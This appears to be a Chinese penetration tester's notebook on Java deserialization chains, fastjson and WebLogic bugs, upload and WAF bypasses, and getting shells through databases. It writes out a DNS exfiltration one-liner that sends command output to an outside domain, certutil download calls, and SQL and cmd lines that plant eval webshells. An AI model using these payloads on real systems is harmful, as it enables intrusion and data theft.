前言
最近blog写的比较懒了,其实不是学习停滞了,而我觉得是学习的速度加快了。很多问题都是之前遇到过得,只能说是更加深入,深一步的发展,于是有了这篇零零散散的笔记。并且贴了一些文章的链接,这些大佬的思路都是非常好的,很严密,这样每次去翻阅的时候也会印象更深。并且在基础上面,再去整理一些大致的思路和框架。反正记了不一定能记住,思路永远可以学习强化。
其次是很多我喜欢画图,纸质笔记本上面对一些问题的整理翻看也会更快一点。
CC链:
CC1:
- JDK 1.7
- Commons Collections 3.1
利用链
https://paper.seebug.org/1242/#commonscollections-1
1 | ObjectInputStream.readObject() |
sourcce,gadget,sink
在commons collections中有一个Transformer接口,其中包含一个transform方法,通过实现此接口来达到类型转换的目的。
需要传递一个Runtime.getRuntime()的runtime实例进去,而Runtime并没有继承Serializable,所以runtime也要进行反射来生成。
Class[].class,其实就是对应着这里的可变参数,再加一个new Class[0]起到占位的作用。
1、Templates
类的newTransformer
方法,会将属性_bytecodes
,通过调用java的defineClass
去生成一个类,并将其实例化,也就是调用静态代码块的代码。2、而AnnotationInvocationHandler
,创建一个Templates
的jdk动态代理,在hashmap出现哈希碰撞的时候,在hashmap中会调用AnnotationInvocationHandler
的equal方法,equal方法会调用自身的equalImpl方法。最终会调用被代理对象的每个方法,去生成结果。3、因为newTransformer
方法恰好为Templates
的第一个方法,如果是第二个方法的话,会导致执行第一个方法的时候出错而中断整个反序列化链。
1 | ChainedTransformer chain = new ChainedTransformer(new Transformer[] { |
weblogic中,必须要调用FilteredObjectInputStream
,才可以在反序列化过程中使用反序列化的黑名单。如果类中私自调用ObjectInputStream
,则不会应用weblogic反序列化的黑名单。从而绕过
动态代理:实现了不需要中间商proxy(类),直接“创建”某个接口的实例,对其方法进行调用。
实现原理: 实现InvocationHandler类的invoke方法,类生成的时候Proxy.newProxyInstance传入classloader,class的class类,invocationhandler接口,并用那个class类转型。
1 | import java.lang.reflect.InvocationHandler; |
weblogic
Weblogic 的反序列化漏洞中主要是 XMLDecoder 和 T3( Weblogic RMI 调用时的通信协议,基础通信协议是 JRMP) 弱密码部署war包,ssrf等。
先会发一个试探包 t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n
, 然后 Weblogic 会回应 HELO 和自身的版本,然后接下来是我们的 payload 的数据包
CVE-2015-4852:resolveClass 中没有做防护,以及 Weblogic 后续的补丁都是在 resolveClass 中进行防护的,所以我们这里来看看
协议:
1 | 【数据包长度】【T3协议头】【反序列化标志】【数据】 |
1 | from os import popen |
XStream
https://mp.weixin.qq.com/s/jWa6SW3PfVsZ5Qzlmx_2EQ
XStream是一个序列化存储对象的库,类似于java原生的序列化
可以序列化未继承自java.io.serializable
接口的类的对象。其他功能均与java原生的序列化功能一样,如果xstream在反序列化的时候发现还原继承自java.io.serializable
的类,则同样会调用对象的readObject
方法。
xml标签中,首先存储父类的字段信息,然后再存储子类的。顺序则按照类声明字段的顺序。每一层,都会注明子类的全限定名。在对象中,每个xml标签对应着对象的字段。
反序列化的方法
UnicastRef对象的readExternal方法
Window下,推荐用 EmEditor 进行日志分析
命令不出网
命令自动查找bsa.js并在其目录写入文件(由于可能不知道是什么盘可能需要多次尝试),寻找js文件将参数传入之后写入。
1 | cmd /c "for /f %i in ('dir /s /b e:bsa.js') do (echo %i> %i.path.txt)%26(ipconfig > %i.ipconfig.txt)" |
成test.txt写入id pwd ifconfig命令的结果
1 | find / -name bas.js|while read f;do sh -c 'id;pwd;ifconfig' >$(dirname $f)/test.txt;done |
(1) 利用格式化输出
命令如下:
(pwd;id;hostname)|xxd -ps -c 20|awk’{system(“nslookup “NR”.”$0”.c.pproot.com”)}’
2、 过java反序列化执行java代码&&系统命令获取到发起这次请求时对应的服务端socket文件描述符,然后在文件描述符写入回显内容。
fastjson
key值为@type
时,就会进入checkAutoType
函数尝试获取类,校验SupportAutoType
属性的工作却是在checkAutoType
函数中完成的。
首先尝试从TypeUtils
的mappings
中获取对应类,里面原本就有一些类,而且后续会被当作已获取类的缓存使用。然后是尝试从deserializers.findClass
中获取class类,这里面的类主要是在ParserConfig.initDeserializers()
中被赋值的。也就相当于这些特殊类也可以被无条件的反序列化。然后就是尝试从typeMapping
中获取对应类,这其中默认的值为空,需要开发人员自行赋值。
然后就是在没有开启SupportAutoType
时,通过黑白名单去校验类,黑名单抛出异常,白名单加载类并返回。
之后如果 开启了SupportAutoType
或者 有JSONType
的注解 或者 存在期望类,则会直接去加载对应类
主要就是进入checkAutoType函数之后,有很多的return。然后抛出异常是放在了最后。
可以看到主要有如下种情况可以直接返回class
acceptHashCodes
白名单INTERNAL_WHITELIST_HASHCODES
内部白名单TypeUtils.mappings
mappings缓存deserializers.findClass
指定类typeMapping.get
默认为空JsonType
注解exceptClass
存在期望类
1、首先尝试从TypeUtils
的mappings
中获取对应类2、然后是尝试从deserializers.findClass
中获取class类,这里面的类主要是在ParserConfig.initDeserializers()
中被赋值的。3、然后就是尝试从typeMapping
中获取对应类,这其中默认的值为空,需要开发人员自行赋值。4、之后就是类在白名单中时(但几乎不大可能),尝试自动去加载类。5、最后,如果通过以上方式可以加载到类,则校验期望类,没有问题的话就直接返回对应的class。
1.2.47绕过: 因此就可以首先通过反序列化java.lang.Class
指定恶意类,然后恶意类被加入mappings
缓存后,第二次就可以直接从缓存中获取到恶意类,并进行反序列化。
将这个 JSONObject 放在 JSON Key 的位置上,在 JSON 反序列化的时候,FastJson 会对 JSON Key 自动调用 toString() 方法:
1 | com.alibaba.fastjson.parser.DefaultJSONParser.parseObject |
于是乎就触发了 BasicDataSource.getConnection()。PoC最完整的写法应该是:
1 | { |
当然,如果目标环境的开发者代码中是调用的是 JSON.parseObject() ,那就不用这么麻烦了。与 parse() 相比,parseObject() 会额外的将 Java 对象转为 JSONObject 对象,即调用 JSON.toJSON(),在处理过程中会调用所有的 setter 和 getter 方法。
XStream
XStream序列化和反序列化的核心是通过Converter
转换器来将XML和对象之间进行相互的转换。
1 | public static void main(String[] args) { |
Tomcat非双亲委派
Tomcat的类加载机制是违反了双亲委托原则的,对于一些未加载的非基础类(Object,String等),各个web应用自己的类加载器(WebAppClassLoader)会优先加载,加载不到时再交给commonClassLoader走双亲委托。
1、一个web容器可能需要部署两个应用程序,不同的应用程序可能会依赖同一个第三方类库的不同版本,不能要求同一个类库在同一个服务器只有一份,因此要保证每个应用程序的类库都是独立的,保证相互隔离。不同版本相互独立隔离。
2、部署在同一个web容器中相同的类库相同的版本可以共享。否则,如果服务器有10个应用程序,那么要有10份相同的类库加载进虚拟机,这是扯淡的。
3、web容器也有自己依赖的类库,不能于应用程序的类库混淆。基于安全考虑,应该让容器的类库和程序的类库隔离开来。web容器类库不能与应用程序类库混淆。
4、web容器要支持jsp的修改,我们知道,jsp 文件最终也是要编译成class文件才能在虚拟机中运行,但程序运行后修改jsp已经是司空见惯的事情,否则要你何用? 所以,web容器需要支持 jsp 修改后不用重启。
JDBC,JNDI,Thread.currentThread().setContextClassLoader();等很多地方都一样是违反了双亲委托。
https://blog.csdn.net/yangcheng33/article/details/52631940
因为这句Class.forName(DriverName, false, loader)代码所在的类在java.util.ServiceLoader类中,而ServiceLoader.class又加载在BootrapLoader中,因此传给 forName 的 loader 必然不能是BootrapLoader,复习双亲委派加载机制请看:java类加载器不完整分析 。这时候只能使用TCCL了,也就是说把自己加载不了的类加载到TCCL中(通过Thread.currentThread()获取,简直作弊啊!)。上面那篇文章末尾也讲到了TCCL默认使用当前执行的是代码所在应用的系统类加载器AppClassLoader。
再看下看ServiceLoader.load(Class)的代码,的确如此:
1 | public static <S> ServiceLoader<S> load(Class<S> service) { |
ContextClassLoader默认存放了AppClassLoader的引用,由于它是在运行时被放在了线程中,所以不管当前程序处于何处(BootstrapClassLoader或是ExtClassLoader等),在任何需要的时候都可以用Thread.currentThread().getContextClassLoader()取出应用程序类加载器来完成需要的操作。
文件上传
通 过 host 碰 撞 找 到 真 实 IP 绕 过 云 waf(fofa 这 种 是 搜 不 到 真 实 IP 的)
Content-Encoding=deflate 绕过本地防火墙内容检测,gzip也是能绕的(这个也可以放在请求头中)
于是翻了翻笔记,找到以前屡试不爽的上传 Tips ————添加 Accept-Encoding: deflate,但发现这种方法已经过时了,换成 Accept-Encoding: gzip 发现还是过不了这个拦截gzip 表明实体采用GNU zip编码
compress 表明实体采用Unix的文件压缩程序
deflate 表明实体是用zlib的格式压缩的
identity 表明没有对实体进行编码。当没有Content-Encoding header时, 就默认为这种情况
gzip, compress, 以及deflate编码都是无损压缩算法,用于减少传输报文的大小,不会导致信息损失。 其中gzip通常效率最高, 使用最为广泛。
jspa jhtml jsp jspx
条件竞争上传
定义:竞争条件发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中
10.27看了条件竞争上传,大致的流程就是先上传文件到临时目录或者其他目录,再去判断文件名的后缀是否合法,不合法再删除文件。这个操作是不可取的。大致流程:php:if(move_uploaded_file($tmpFile,$upload_File)) -> inarray($fileext,$ext_arr)->unlink($upload_file)。利用方式:上传白名单类的文件之后,知道上传的路径在哪,多线程上传之后再不停访问这个文件,这个文件再去释放一个php马。
二次渲染
1、对比要上传图片与上传后的图片大小,编辑器打开图片查看上传后保留了拿些数据。2、并且需要配合文件包含漏洞。这个利用条件比较的困难。
但是
.htaccess
只是适用于apache
,如果变成niginx
或者iis
则不会被解析。而在服务器以fastcgi
启动运行的时候,.user.ini
也是php
的一种配置文件。
SSRF
burp里面的探测 engagement tools Search方法 302跳转的,或者有http字段的。
1、ssrf出现的位置,其实burp抓包,不管是get的参数还是post的参数,我们都可以直接fuzzing,就比如post的数据,image=admin,我们image=http://vps:1234 都要不断尝试。不一定非要在网上说的那几个位置才能想到ssrf
2、认清ssrf的作用,像ssrf->getshell真的太少了,都是配合ssrf收集信息打组合拳,就比如配合redis拿shell,首先是对面可能存在redis,然后未授权。然后写东西的时候不出玄学问题,就行了
3、ssrf最主要的几个功能是收集服务器的真实IP,探测内部文件,比如看看能不能通过gopher,file等协议读取东西,如果能探测web的端口,可以看看找一些get参数就能拿东西的漏洞,比如get型的sql注入
xxe,csrf
1、首先xxe我们也可以先将我们的content-type改为我们的application/xml,不管他是application/data,application/json,都可以改成application/xml,然后看看response对比哈,如果有区别的话可以FUZZING一哈xxe的payload
2、关于csrf,其实csrf可以简单的理解借刀杀人,用当前目标的权限去做他能做的事情,如果此后台管理员能编辑模板插入脚本代码,那么我们就可以构造出POC去getshell,但是话又说回来,这2个洞我反正在项目中遇到是很少的。
最近遇到csrf和反射xss有关的,实际呢是一个url的重定向。后面修复的方案就是将refer中包含了该ip的就放行,否则就是不通过refer的校验,所以有两种绕过形式:1、 malicousIP/HostIP/xx xx网页302重定向到 那个危害的url。但是这种方法只在ie浏览器中可行,firefox和chrome都会变成图二这样。host对的 但是refer不是同源的情况下 会指向原refer起到了保护的作用。 2、第二种情况通杀,毕竟只包含了这个ip就可以 ,那么可以构造一个域名 www.192.168.70.41.v1rus.top。浏览这个网址的时候再做302重定向就ok。
图二
网页重定向的方法:https://www.jianshu.com/p/3985715c37b1 涉及apache RewriteRule .htaccess模块的运用,html,js的控制等。
rasp的绕过
1、 jni方法加载dll自定义方法(java的rasp只可以修改java class的字节码,不可以修改native库的字节码。虽然这句话说起来很别扭,但是像我们阐述一个道理,即java agent修改字节码的能力是有限的。) 比如Tomcat的apr库提升性能调用jni方法,其中有个危险的create方法调用命令行。(一般都存在于$CATALINA_HOME/bin)
1 | 编写带有native声明的方法的java类,生成.java文件 |
2、 new一个新的线程(发rasp会判断请求url是否为空来判断是否校验。我们将 return clean;注释掉,发现能够拦截,我们用线程的方式启动请求context中没有url。所以能绕过。)
3、 把恶意代码放在异常类去执行
4、 enablehook关掉
tricks:
1、 反弹Shell的时候不要用命令进行反弹,会触发EDR等安全设备告警,可采用Java API
l1nk3r的奇怪的base64编码
sun.misc.BASE64Decoder这个方法做base64解码的时候,针对base64的兼容性更高,你在base64的字符串后面无论加多少个=都没关系,但是在例如java.util.base64.decode这类型严格按照base64规范的进行解码的方法下,就会出现报错。
信息收集
备案收集、通过网站ico收集、小程序子域名/接口收集、组织架构股东书收集、网盘/云雀收集,dns历史解析、github搜索、JsFind、webpack、内部/内测群/群文件
1、备案收集:
同备案查询,https://icp.chinaz.com/ oneforall也提供了接口,但是备案查询
2、网站ico收集 语法:http.favicon.hash:-1507567067 在python中脚本设置,网站的ico在hmtl页面中的head部分 有个link rel=”icon” href后面的就是路径。
3、ssl证书 这个oneforall里面运用接口查询是有的 就是想清楚的了解一下是周末一回事儿 https://crt.sh/
子域名https://saucer-man.com/information_security/224.html
主要分为三种,爆破,ssl证书,dns记录查询
xp_cmdshell
这个命令最初是用来管理证书的,但对红队的工作有很大的帮助,原因有很多:
- 它是由Microsoft默认安装的二进制文件。
- 它允许建立HTTP/s连接并且是proxy-aware(使用系统中配置的代理)。
- 它允许在Base64或十六进制中编码/解码。
在我们的场景中,我们运用它向我们控制的web服务器发出HTTP/s请求,确认我们的命令是否被执行。
1 | ';EXEC xp_cmdshell 'certutil.exe -urlcache -f http://example.com' |
词法分析 语法分析 语义分析
词语分析 文本扫描器工作的源代码作为字符流进行扫描,并将其转换为有意义的词素。词汇分析器以标记的形式表示这些词汇:
<token-name, attribute-value>【词法分析是编译器的第一个阶段。它从以句子形式编写的语言预处理器中获取经过修改的源代码。词法分析器通过删除源代码中的任何空格或注释,将这些语法分解为一系列标记。 】
语法分析 是指抽象成AST。(抽象语法树(Abstract Syntax Tree,AST))你int a =”string”在语法结构中是对的。根据ast树可以构造成,keyvalueExpression根节点,然后是key和value在左右两侧。
语义分析 是指分析语义,上面的例子违反了规范,左右两侧的数据类型不一致。类似的还有返回值类型不一致。
生成一个对象
先了解Java 中创建对象的方法大概有下面这七种:
- 使用 new 关键字
- Class 类的 newInstance() 方法
- Constructor 类的 newInstance() 方法
- Object 对象的 clone 方法
- 反序列化创建对象
- 使用 Unsafe 类创建对象
- 通过工厂方法返回对象,如:String str = String.valueOf(23);
蜜罐
jsonp、mysql local infile(开启之后我们就可以通过如下命令进行文件读取并且写入到表中,我们以C:\1.txt为例,将其中内容写入到test表中,并且以\n为分隔符。
1 | load data local infile ``'C:/1.txt'` `into table test fields terminated by ``'\n'``; |
这样我们就可以读取客户端本地的文件,并写入到表中)、rdp
漏洞(,MITM记录了以下操作事件:
- 点阵图像
- 鼠标移动
- 键盘输入
- 连接信息(本地IP地址、用户名、密码、域名、计算机名)
- 剪贴板内容
)、执行文件(activex、pe文件)
数据库写shell
mysql
利用条件:利用条件
- 数据库当前用户为root权限或者至少有FILE权限
- 知道当前网站的绝对路径
- PHP的GPC为 off状态 无特殊字符转义
- 写入的那个路径存在写入权限
- .secure_file_priv 的值非NULL或包含了导出的绝对路径(show global variables like ‘%secure%’;或者设置为空,那么对所有路径均可进行导入导出。
1 |
|
into oufile(hex编码), into dumpfile(只能导出一行),写log,写表
1 | select * from student into outfile "C:/phpStudy/MySQL/bin/test.php" LINES STARTING BY '<?php @eval($_POST[pass]);?>'; |
1 | FIELDS TERMINATED BY ',' = 字段值之间以,分割 |
可以利用的日志:只有查询日志和慢查询日志可利用(-1’;select ““ from users where sleep(11);#)
1 | log_error |
只读,只能通过修改mysql配置文件改路径,不能利用
事务日志、二进制日志和错误日志一样,只能通过修改mysql配置文件改路径,不能利用
mssql
https://y4er.com/post/mssql-getshell/
https://www.cnblogs.com/0nc3/p/12071345.html
拿shell的两大前提就是
- 有相应的权限db_owner
- 知道web目录的绝对路径
绝对路径:
- 报错信息
- 字典猜
- 旁站的目录
- 存储过程来搜索
- 读配置文件
1 | ;EXEC sp_configure 'show advanced options',1;//允许修改高级参数 |
1、 xp_cmdshell拿shell
xp_cmdshell这个存储过程可以用来执行cmd命令,那么我们可以通过cmd的echo命令来写入shell,当然前提是你知道web目录的绝对路径
1 | http://192.168.130.137/1.aspx?id=1;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\WWW\\404.aspx' ; |
由于cmd写webshell的主意这些转义的问题 推荐使用certutil或者vbs什么的来下载
2、 差异备份拿shell
1 | 1. backup database 库名 to disk = 'c:\bak.bak';-- |
因为权限的问题,最好不要备份到盘符根目录
当过滤了特殊的字符比如单引号,或者 路径符号 都可以使用定义局部变量来执行。
3、 log备份拿shell
LOG备份的要求是他的数据库备份过,而且选择恢复模式得是完整模式,至少在2008上是这样的,但是使用log备份文件会小的多,当然如果你的权限够高可以设置他的恢复模式
1 | 1. alter database 库名 set RECOVERY FULL |
log备份的好处就是备份出来的webshell的文件大小非常的小
注意转义的点
1.Windows:
echo ^<? php @eval($_POST[‘x’]); ?^> >shell.php
知识点:(1)^以转义字符的身份出现。因为在cmd环境中,有些字符具备特殊功能,如>、>>表示重定向,|表示管道,&、&&、||表示语句连接……它们都有特定的功度能,如果需要把它们作为字符输出知的话,echo >、echo | ……之类的写法就会出错——cmd解释器会把它们作为具有特殊功能的字符对待,而不会作为普通字符处理,这个时候,就需道要对这些特殊字符做转义处理:在每个特殊字符回前加上转义字符^答,因此,要输出这些特殊字符,就需要用 echo ^>、echo ^|、echo ^|^|、echo ^^……之类的格式来处理。此处转义<和>
(2) 此处^为什么不换成引号?因为windows写入时会把引号写进去
2.Linux:
echo ‘ php @eval($_POST["x"]); ?>‘ >shell.php
无法写shell
当遇到无法写shell,或者是站库分离的时候,直接通过xp_cmdshell来下载我们的payload来上线会更加方便。下载文件通常有下面几种姿势
- certutil
- vbs
- bitsadmin
- powershell
- ftp
mssql众多的储存过程是我们利用的关键
1 | xp_create_subdir建立个畸形目录解析。 |
certutil base64 解码写入
上面提到 echo
写入万恶的转义问题,那么,通过 base64 编码是不是可以解决这烦人的转义问题呢?是的!
比如,我们要把 <script>alert(1)</script>
(base64 编码为:PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
)写入文件,可用如下方法:
1 | echo PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== > 1.txt |
certutil
下载文件的方法:
1 | certutil.exe -urlcache -split -f <url> |
不幸的是,即使下载的不是有毒文件,杀软还是很可能会杀掉:
shiro下tomcat加载不了cc4
网上现在是说:Tomcat
和JDK
的Classpath
是不公用且不同的,Tomcat
启动时,不会用JDK
的Classpath
,需要在catalina.sh
中进行单独设置。
其实这个根本原因是tomcat破坏了了双亲委派机制,并且在urlclassLoader加载的时候限制了ucp(urlclasspath),导致没有pom仓库的路径。
这里要关注的点是: ucp.getResource
所有继承至URLClassLoader的子类(不overwrite findClass的情况下),都是 【只能通过ucp来进行资源的加载】。
URLClassPath做到了两点:
- 指定资源的来源:可以来自于Local,来自于Remote;可以是Jar,也可以是War等等(指定URL即可)。
- 限制资源的来源:当指定了该ucp,那么该ClassLoader的资源来源也就被【限制】只能是来自于这里。
答案在这里。使用tomcat的类查询机制。 详见tomcat 的委派机值 ,Thread.getCurrentThread.getClassLoader。这个方法 按照道理webClassLoader是可以加载在Web-inf下的class的 但是这个类会解析成entry 而不是像urlclassloader的classpath 所以对
这个fqcn的名字无法返回,他会解析成[Lorg/apache…这样,导致前面无法生成类,去后面的根的Urlclassloader加载,导致找不到路径。(函数返回值和参数的编码。这种编码叫做JNI字段描述符)
关于网上大多数人赞同的帖子
https://xz.aliyun.com/t/7950#toc-3
只是下了断点 都没走到这一步 直接贴我的图:(后面被打脸)
很明显可以看到这里的delegateLoad的参数是false,也就是说根本不回走到1178行的内容.
delegate的意思是委派,可以看到delege参数在对象初始化的时候的值就是false.再来看看filter方法.这里似乎要执行什么包触发器之类的操作,但是可以看到这里面的对象参数为空.而且在类的初始化的时候,就将这个空数组传入了.
并且我通篇看下来delegate和pakeageTrigger这俩参数没有方法去改,并且都是protect的变量.并且父类也是没有修改的地方.不知道是在本包的其他的什么地方,或者是反射的地方做的什么手脚了.
写了这么多,啪啪打脸= =.原来是找错地方了..
结论正确 .
补充结论:
Class.forName
不支持原生类型,但其他类型都是支持的。Class.loadClass
不能加载原生类型和数组类型Class.forName不支持原生类型,但其他类型都是支持的。Class.loadClass不能加载原生类型和数组类型.
补充拓展:
后续对反序列化底层进行分析的时候,无意间学到了resolveClass这个方法,这个方法会调用Class.forName();而上述可以看到,shiro其实重写了resloveClass这个方法.看这个Stream类是继承ObjecttInputStream这个类的,只重写了resolveClass这个方法,在调用readObject这个函数的时候,会调用resolveClass方法.因为shiro在这里重写了这个方法,所以会优先调用这个重写的.
接着上上图,ExceptIgnoringAccessor中的loadClass方法,图中的cl是org.apache.catalina.loader.ParallelWebappClassLoader类.我们去寻找一下他的loadClass方法在哪. Class.forName和ClassLoader.loadclass 这两个是类加载的方法,但是机制确实不一样的.其实主要的原因也并不是在于初始化类,而是loadclass当中的可以看到上文ucp的路径和需要序列化的类名不匹配导致的问题.
Java中new和Class.forName的区别
首先:
New = Class.forName(“pacage.A”).newInstance();
new是关键字,直接创建对象。
Class.forName()是一个方法,要求JVM查找并加载指定的类,类装载到虚拟机上之后,静态方法和静态块中的处理被执行。
这时候还没有创建对象。newInstance()是创建对象。
我们最常用的jdbc, 经常会用Class.forName来加载数据库驱动。
jdbc接口中,会存在各种数据库的驱动,不在在接口中写死,一般都写在配置文件里,
所以需要我们调用的时候通过Class.forName来加载驱动。这时候不需要创建对象,所有没有调用newInstance()
https://cloud.tencent.com/developer/article/1415203这个是类加载机器中,Class.forname和Classloader.loadClass的区别.实际Class.forname直接调用forName0(className, true, ClassLoader.getClassLoader(caller), caller).而loadClassClassLoader.loadClass(className,false);false参数表示不连接,也就是仅仅将.class文件加载到JVM中不连接也不初始化.
1 | private static native Class<?> forName0(String name, boolean initialize, |
如何识别WAF#
识别waf技术
- 一些WAF在请求中设置自己的cookie(例如Citrix,Netscaler,Yunsuo WAF,safedog)
- 有些人将自己与单独的标头关联(例如Anquanbao WAF,AmazonAWSWAF)。
- 有些经常更改标头和混乱的字符以使攻击者感到困惑(例如Netscaler,Big-IP)。
- 有些人在服务器头数据包中暴露自己(eg. Approach, WTS WAF)
- 一些WAF在响应内容body中公开自身(例如DotDefender,Armor,Sitelock)
- 其他WAF会对恶意请求做出不寻常的响应代码答复(例如WebKnight,360WAF
- 有些WAF会返回一堆垃圾数据,卡死你(例如:百度云加速乐)
检测技术
- 从浏览器发出普通的GET请求,拦截并记录响应头(特别是cookie)。
- 从命令行(例如curl)发出请求,并测试响应内容和标头(不包括user-agent)。
- 向随机开放的端口发出GET请求,并抓住可能暴露WAF身份的标语。
- 如果某处有登录页面,表单页面等.请尝试一些常见的(易于检测的)有效负载,例如 “ or 1=1 – -
- 将../../../etc/passwd附加到URL末尾的随机参数
- 在url的末尾添加一些吸引人的关键字,如’or sleep(5)‘ (危险测试)
- 使用过时的协议(如http/0.9)发出get请求(http/0.9不支持post类型查询)。
- 很多时候,waf根据不同的交互类型改变服务器头。
- 删除操作技术-发送一个原始的fin/rst包到服务器并识别响应。
- 侧通道攻击-检查请求和响应内容的计时行为。
wafw00f ,identywaf ,waf识别工具
rmi中 client server register的关系
https://www.anquanke.com/post/id/197829
Naming.bind:
我们一般都是在client端发起lookup请求的操作,但是在8u141之前 ,服务器server端和客户client端,都是可以进行Naming.bind的操作。但是如果要使用bind/rebind请求来远程攻击Registry,JDK版本必须在8u141之前。因为,sun/rmi/registry/RegistryImpl_Skel.java#dispatch这里会先去判断是否为本地绑定请求,然后再进行反序列化。
Naming.lookup:
就像前面说的,我们一般是发起lookup请求的操作,服务器端在RegisteryImpl_Stub的dispatch对请求来的参数做分发的时候,发现是lookup的方法case2。
为什么lookup之后,registry会反连我们的jrmpServer?#详情
RemoteObjectInvocationHandler就是第一种方法,我们将AnnotationInvocationHandler替换成RemoteObjectInvocationHandler。在反序列化时会调用RemoteObjectInvocationHandler的父类RemoteObject的readObject函数,再调用其中的readExternal函数。